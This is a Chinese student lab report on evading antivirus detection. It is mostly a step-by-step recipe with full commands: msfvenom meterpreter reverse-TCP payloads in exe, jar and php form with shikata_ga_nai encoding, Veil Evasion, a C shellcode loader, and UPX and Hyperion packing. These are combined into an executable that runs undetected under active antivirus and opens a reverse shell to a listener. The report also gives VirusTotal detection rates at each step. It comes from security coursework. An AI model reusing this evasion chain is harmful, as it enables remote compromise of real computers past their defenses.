1.实验内容
1.1回答问题
(1)杀软是如何检测出恶意代码的?
①基于特征码的检测:AV软件厂商搜集最全最新的特征码库,并以此来尝试匹配文件中的一个或几个片段②启发式恶意软件检测:根据片面特征推断,包括行为(如连接恶意网站、开放端口、修改系统文件等),外观(文件签名、结构、厂商等)。③基于行为的恶意软件检测:基本上就是加入了行为监控的启发式。
(2)免杀是做什么?
对恶意软件做处理,让它不被杀毒软件检测,从而达到攻击成功的目的。
(3)免杀的基本方法有哪些?
①通过加压缩壳/加密壳,基于payload重新编译生成可执行文件,用其他语言重写再编译等方法,改变恶意软件的特征码。②通过反弹式连接、隧道技术、加密通讯数据、基于内存操作、加入混淆用的正常代码等方法,隐藏恶意软件的恶意行为。③还有非常规的方法,包括利用后门,使用社工类攻击,从头编一个恶意软件等。
1.2实践内容简述
(1)使用msfvenom和msf编码器,生成exe、jar、php文件及它们的编码版本。
(2)下载veil工具,并使用它来生成恶意代码。
(3)使用C+shellcode编程。
(4)尝试upx压缩壳和试hyperion加密壳。
(5)通过组合应用各种技术实现恶意代码免杀,即与杀软共生。
(6)在杀软开启的情况下,用免杀技术让恶意代码运行并回连成功。
2.实验过程
2.1形成免杀效果参考基准
利用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.219.133 PORT=2408 -f exe > met20222408.exe
直接生成meterpreter可执行文件。
将该文件放入virustotal进行评价,发现检出率为61/72,将这个比例作为参照,查看后续的免杀技术效果。
2.2正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
2.2.1生成exe文件和编码的exe文件
利用指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=172.16.219.133 LPORT=2408 -f exe > met-encoded20222408.exe
生成可执行文件。其中-e x86/shikata_ga_nai用于指定编码方式;-b '\x00'用于指定要避免的坏字符。
得到的检出率为61/73,基本没有变化。
再利用指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=172.16.219.133 LPORT=2408 -f exe > met-10encoded20222408.exe
进行10次编码。其中-i 10表示编码10次。
得到的检出率为62/73,也基本没有变化。说明这种文件生成和编码的模板的特征码已经基本都在库中了。
2.2.2生成jar文件和编码的jar文件
利用指令msfvenom -p java/meterpreter/reverse_tcp LHOST=172.16.219.133 LPORT=2408 x>metjar20222408.jar
生成jar文件。其中x>可以利用输出文件后缀名隐式指定文件类型。
再利用指令msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=172.16.219.133 LPORT=2408 x>met-encoded-jar20222408.jar
生成一份编码10次的jar文件。
得到的检出率均为34/64,说明jar文件更难被识别出来。
2.2.3生成php文件和编码的php文件
利用指令msfvenom -p php/meterpreter/reverse_tcp LHOST=172.16.219.133 LPORT=2408 x> metphp_20222408.php
生成php文件。
利用指令msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=172.16.219.133 LPORT=2408 x> met_encoded10_php_20222408.php
生成一份编码10次的php文件。
得到的检出率分别为26/63和10/62,说明php文件也难以被识别,且php的编码有不错的免杀效果。
2.3使用veil免杀工具
2.3.1veil免杀工具的下载
我一开始设置的kali虚拟机硬盘大小只有20gb,导致没有足够的空间下载veil。我扩充了硬盘空间后,开始下载veil。(扩充方法见问题1)
先使用指令sudo apt -y install veil
,用apt下载veil。
再使用指令usr/share/veil/config/setup.sh --force --silent
,用veil自带的shell脚本配置好环境。
这个过程涉及到很多内容,需要比较长的时间,但除了中间要输入一次密码以外,不需要进行任何手动操作。下载完毕后,在命令行中输入veil,将会出现以下界面。
2.3.2veil使用过程
上一张图中,可以看到Evasion(躲避模块)是第一个选项,输入use 1
进入Evasion模块。
输入list
查看所有可用的载荷种类。
看到c/meterpreter/rev_tcp.py是第7个选项,输入use 7
。
进行配置,输入以下信息。
set LHOST 192.168.1.115
(反弹链接ip,虚拟机的ip)
set LPORT 2408
(设置端口)
generate
(开始生成)
下面会提示生成的具体内容和生成后文件所在的位置。
到它所说的目录下,可以看到已经生成好的文件。
测试这个文件的检出率,发现是43/73,有一定的免杀效果。
2.4使用C + shellcode编程
使用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.115 LPORT=2408 -f c
,用msfvenom工具来生成一个C语言的源代码格式的有效载荷
用生成的shellcode编写一个c文件。
利用指令i686-w64-mingw32-g++ shellcode_c_20222408.c -o shellcode_c_20222408.exe
进行编译,得到exe文件。
测试这个文件的检出率,发现是39/71,有一定的免杀效果。
2.5使用加壳工具
2.5.1使用压缩壳UPX
使用指令upx shellcode_c_20222408.exe -o shellcode_c_upx_20222408.exe
,给上一个步骤生成的shellcode_c_20222408.exe加一个压缩壳。
测试检出率,发现是44/72,反而上升了,说明这个壳的特征已经被很广泛的记录。
2.5.2使用加密壳Hyperion
使用指令。
cp shellcode_c_20222408.exe /usr/share/windows-resources/hyperion/
(将待加密文件放到工作目录下)
cd /usr/share/windows-resources/hyperion
(进入工作目录)
wine hyperion.exe -v shellcode_c_20222408.exe shellcode_c_hyp_20222408.exe
(加密文件)
加密文件已经生成。
测试检出率,发现是53/73,反而上升了,说明这个壳的特征已经被很广泛的记录。
2.6通过组合应用各种技术实现恶意代码免杀
使用msfvenom工具来生成一个攻击载荷的示例。该攻击载荷被x86/shikata_ga_nai编码了10次。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=172.16.219.133 LPORT=2408 -f c > 20222408_shellcode.c
使用vi工具,在生成的文件中加入main函数如下。
int main(){ int (*func)() = (int(*)())buf; func(); }
使用MinGW-w64编译该源文件。
i686-w64-mingw32-g++ 20222408_shellcode.c -o 20222408_shellcode.exe
使用upx加一层压缩壳。
upx 20222408_shellcode.exe -o 20222408_shellcode_upx.exe
使用hyperion加一层加密壳。
wine hyperion.exe -v 20222408_shellcode_upx.exe 20222408_shellcode_upx_hyp.exe
将最终生成的可执行文件放入主机,用杀软进行扫描,软件没有发现。
2.7用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
在kali虚拟机中输入msfconsole打开msf的控制台,输入以下这些信息。
use exploit/multi/handler
(设置监听处理器)
set payload windows/meterpreter/reverse_tcp
(设置载荷类型)
set LHOST 172.16.219.133
(设置为kali的ip地址)
set LPORT 2408
(设置端口)
exploit
(启动监听服务)
在杀软开启的情况下,在主机上运行生成的可执行文件,可以看到成功回连成功。
电脑的杀软名称:金山毒霸
病毒库版本:2024.10.24.09
软件版本:15.2024.4.3.102400.1509
3.问题及解决方案
- 问题1:kali的存储空间不足以下载veil。
- 问题1解决方案:在网络上找到了一篇kali扩容的教程:kali扩展内存,大致步骤为先在虚拟机设置中扩展磁盘容量,再用gparted软件对逻辑分区进行设置。扩容后就可以容纳veil了。
- 问题2:下载veil的过程中尝试了很多种方法,很多方法都报错,错误包括文件大小不匹配,下载源证书错误等等。
- 问题2解决方案:最终找到了我实验报告里所写的那种方法,用以下两条语句成功下载。
sudo apt -y install veil
usr/share/veil/config/setup.sh --force --silent
- 问题3:一开始使用hyperion.exe时,系统会报“ShellExecuteEx failed: File not found.”的错误。
- 问题3解决方案:通过搜索得知,hyperion.exe需要在/usr/share/windows-resources/hyperion这个工作目录才能使用。
4.学习感悟、思考等
本次实验的重点在于尝试各种免杀工具与技巧,学习的内容有:msf编码器、veil、加壳工具的使用,C+shellcode编程方法,各种免杀方法的组合运用等等。通过进行实验,我也学习到了kali的扩容方法、各种软件下载方式,复习了后门程序的生成与使用方法。
本次实验进行得还算顺利,最大的难点在于veil的下载。在下载veil时,我试了好几种方法都有报错,这些方法有简单的也有复杂的。我看到最复杂困难的方法是重新安装别的kali版本,在里面尝试下载veil,因为本来安装的kali版本可能不兼容veil。最后,我成功下载veil,反而用的是我看到的最简单的一种方法。组合各种技术实现免杀也有一定的难度。我一开始使用的技巧太少了,导致总是被查杀。经过不断的尝试,我最终也成功实现了免杀。整个实验过程很好地锻炼了我分析问题和解决问题的能力。
实验涉及的免杀技巧已经存在了很久,广为人知,所以没有办法达到特别好的免杀效果,有些甚至还会起反作用。但是在网络安全领域,不断会有新的免杀技巧出现,使用杀毒软件等方法无法百分百识别恶意代码,若没有很好的安全意识和防护意识,可能就会被攻击而造成损失。这说明我们要时刻保持警惕,避免点击来路不明的邮件、网站,下载盗版软件等高危行为。